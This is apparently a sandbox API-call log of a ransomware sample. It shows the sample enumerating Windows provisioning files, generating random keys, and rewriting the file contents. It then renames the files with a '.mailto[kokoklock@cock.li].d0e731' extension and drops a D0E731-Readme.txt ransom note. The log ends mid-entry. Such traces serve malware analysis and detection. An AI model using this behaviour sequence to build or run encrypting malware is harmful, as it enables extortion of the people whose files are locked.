_Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml" [0084.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3483790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x730 [0084.780] FindNextFileW (in: hFindFile=0x33e0418, lpFindFileData=0x349ffd8 | out: lpFindFileData=0x349ffd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Controls.provxml", cAlternateFileName="")) returned 0 [0084.780] FindClose (in: hFindFile=0x33e0418 | out: hFindFile=0x33e0418) returned 1 [0084.780] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349ffd8) returned 1 [0084.780] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34878c8) returned 1 [0084.780] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3487350) returned 1 [0084.780] RtlExitUserThread (Status=0x0) Thread: id = 1166 os_tid = 0x12d0 [0083.477] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml")) returned 0x20 [0084.021] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 1 [0084.021] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0084.021] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x293bfc38 | out: lpFileSize=0x293bfc38*=427) returned 1 [0084.021] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x1a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.021] ReadFile (in: hFile=0x324, lpBuffer=0x293bfc0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x293bfc08, lpOverlapped=0x0 | out: lpBuffer=0x293bfc0c*, lpNumberOfBytesRead=0x293bfc08*=0x4, lpOverlapped=0x0) returned 1 [0084.022] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.022] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d820 [0084.022] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d870 [0084.022] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d7a8 [0084.022] NtQuerySystemTime (in: CurrentTime=0x293bfbe4 | out: CurrentTime=0x293bfbe4*=132121176419141284) returned 0x0 [0084.022] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0x334b4ae8 [0084.022] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0x3ef034f3 [0084.022] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0x703ce19a [0084.022] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0xfa5867c2 [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0xded5d7ec [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0x4ead3ffc [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0xf8abd64f [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0xf8e9579a [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0x6b6081fd [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0xe3e90c2e [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0x47c4f9f9 [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0x35f0ce14 [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0x1b80da3e [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0x2c56df36 [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0xbb384e51 [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0x5f5224e1 [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0x1c478f00 [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0xcba17a4e [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0xbd090b37 [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0x394b5434 [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0x8ab7fc87 [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0xb66e1e8a [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0xbef0086a [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0x6514ab8a [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0x3ffa4b20 [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0xb99b9f09 [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0xc4f396f8 [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0x3a2b1787 [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0x11cc76e0 [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0x6399baf6 [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0x9a8d8b7c [0084.023] RtlRandom (in: Seed=0x293bfbf0 | out: Seed=0x293bfbf0) returned 0x8feeb4df [0084.035] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0084.035] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d820) returned 1 [0084.035] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0084.035] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0084.035] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dac8 [0084.035] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dac8) returned 1 [0084.035] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.035] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.035] ReadFile (in: hFile=0x324, lpBuffer=0x348d230, nNumberOfBytesToRead=0x1ab, lpNumberOfBytesRead=0x293bfbe4, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x293bfbe4*=0x1ab, lpOverlapped=0x0) returned 1 [0084.035] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x293bfbac | out: lpNewFilePointer=0x0) returned 1 [0084.035] WriteFile (in: hFile=0x324, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x1ab, lpNumberOfBytesWritten=0x293bfbe0, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x293bfbe0*=0x1ab, lpOverlapped=0x0) returned 1 [0084.036] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342db90 [0084.036] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d820 [0084.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d820) returned 1 [0084.036] WriteFile (in: hFile=0x324, lpBuffer=0x342db90*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x293bfbdc, lpOverlapped=0x0 | out: lpBuffer=0x342db90*, lpNumberOfBytesWritten=0x293bfbdc*=0x20, lpOverlapped=0x0) returned 1 [0084.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342db90) returned 1 [0084.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0084.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0084.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0084.036] WriteFile (in: hFile=0x324, lpBuffer=0x342d7d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x293bfc08, lpOverlapped=0x0 | out: lpBuffer=0x342d7d0*, lpNumberOfBytesWritten=0x293bfc08*=0x8, lpOverlapped=0x0) returned 1 [0084.036] WriteFile (in: hFile=0x324, lpBuffer=0x293bfc20*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x293bfc08, lpOverlapped=0x0 | out: lpBuffer=0x293bfc20*, lpNumberOfBytesWritten=0x293bfc08*=0x4, lpOverlapped=0x0) returned 1 [0084.036] WriteFile (in: hFile=0x324, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x293bfc08, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x293bfc08*=0x4, lpOverlapped=0x0) returned 1 [0084.036] WriteFile (in: hFile=0x324, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x293bfc08, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x293bfc08*=0x6c, lpOverlapped=0x0) returned 1 [0084.036] WriteFile (in: hFile=0x324, lpBuffer=0x342d870*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x293bfc08, lpOverlapped=0x0 | out: lpBuffer=0x342d870*, lpNumberOfBytesWritten=0x293bfc08*=0x20, lpOverlapped=0x0) returned 1 [0084.036] WriteFile (in: hFile=0x324, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x293bfc08, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x293bfc08*=0x4, lpOverlapped=0x0) returned 1 [0084.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d870) returned 1 [0084.037] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d7f8) returned 1 [0084.037] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d7d0) returned 1 [0084.037] CloseHandle (hObject=0x324) returned 1 [0084.037] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x106) returned 0x34226e8 [0084.037] wcscpy (in: _Dest=0x34226e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml" [0084.037] wcscat (in: _Dest=0x34226e8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0084.037] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.038] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.038] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34226e8) returned 1 [0084.038] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 0 [0084.038] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3494b38 [0084.038] wcscpy (in: _Dest=0x3494b38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\" [0084.038] wcscat (in: _Dest=0x3494b38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\D0E731-Readme.txt" [0084.038] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\d0e731-readme.txt")) returned 0xffffffff [0084.038] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0084.039] WriteFile (in: hFile=0x324, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x293bfc04, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x293bfc04*=0x481, lpOverlapped=0x0) returned 1 [0084.040] CloseHandle (hObject=0x324) returned 1 [0084.040] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494b38) returned 1 [0084.040] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7a28) returned 1 [0084.040] RtlExitUserThread (Status=0x1) Thread: id = 1167 os_tid = 0x12d4 [0083.477] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3487990 [0083.477] wcscpy (in: _Dest=0x3487990, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime" [0083.477] wcscat (in: _Dest=0x3487990, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\" [0083.477] wcscat (in: _Dest=0x3487990, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\*" [0083.478] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34a0240 [0083.478] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\*", lpFindFileData=0x34a0240 | out: lpFindFileData=0x34a0240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e03d8 [0084.020] wcscmp (_String1=".", _String2=".") returned 0 [0084.020] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x34a0240 | out: lpFindFileData=0x34a0240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.020] wcscmp (_String1="..", _String2=".") returned 1 [0084.020] wcscmp (_String1="..", _String2="..") returned 0 [0084.020] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x34a0240 | out: lpFindFileData=0x34a0240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54060701, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54060701, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54060701, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xcdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0084.020] wcscmp (_String1="0__Power_Policy.provxml", _String2=".") returned 1 [0084.020] wcscmp (_String1="0__Power_Policy.provxml", _String2="..") returned 1 [0084.020] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x3482620 [0084.020] wcscpy (in: _Dest=0x3482620, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime" [0084.020] wcscat (in: _Dest=0x3482620, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\" [0084.021] wcscat (in: _Dest=0x3482620, _Source="0__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\0__Power_Policy.provxml" [0084.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3482620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x324 [0084.781] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x34a0240 | out: lpFindFileData=0x34a0240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54060701, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54060701, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54060701, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xcdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 0 [0084.781] FindClose (in: hFindFile=0x33e03d8 | out: hFindFile=0x33e03d8) returned 1 [0084.781] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a0240) returned 1 [0084.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3487990) returned 1 [0084.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34863b0) returned 1 [0084.782] RtlExitUserThread (Status=0x0) Thread: id = 1168 os_tid = 0x12d8 [0083.478] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml")) returned 0x20 [0084.002] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 1 [0084.002] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5a0 [0084.002] GetFileSizeEx (in: hFile=0x5a0, lpFileSize=0x294bf9a0 | out: lpFileSize=0x294bf9a0*=251) returned 1 [0084.002] SetFilePointerEx (in: hFile=0x5a0, liDistanceToMove=0xf7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.002] ReadFile (in: hFile=0x5a0, lpBuffer=0x294bf974, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x294bf970, lpOverlapped=0x0 | out: lpBuffer=0x294bf974*, lpNumberOfBytesRead=0x294bf970*=0x4, lpOverlapped=0x0) returned 1 [0084.003] SetFilePointerEx (in: hFile=0x5a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.003] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d820 [0084.003] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d870 [0084.004] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d780 [0084.004] NtQuerySystemTime (in: CurrentTime=0x294bf94c | out: CurrentTime=0x294bf94c*=132121176418985189) returned 0x0 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0x4cb901b4 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0x321ea806 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0x793d9801 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0x8e9e22fd [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0x5e7e6db6 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0xe337475e [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0xbe237dbb [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0x82014c83 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0x8f6228e1 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0x3e99c186 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0x62786deb [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0xc0f46c61 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0xe514fce7 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0x7184011e [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0x6a0dcfe7 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0xc6d1d1d6 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0xae9e35f0 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0xc71b3358 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0xba30cf9c [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0x974648d5 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0xb7322594 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0x5e6cec13 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0x10ddca33 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0x1fccdb1 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0x25f7b847 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0xcfcf4d34 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0x6cc1d05f [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0xad5525c2 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0x4417fb70 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0x64b49522 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0xce519c82 [0084.004] RtlRandom (in: Seed=0x294bf958 | out: Seed=0x294bf958) returned 0xfe1b64de [0084.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0084.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d820) returned 1 [0084.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0084.015] RtlAllocateHeap 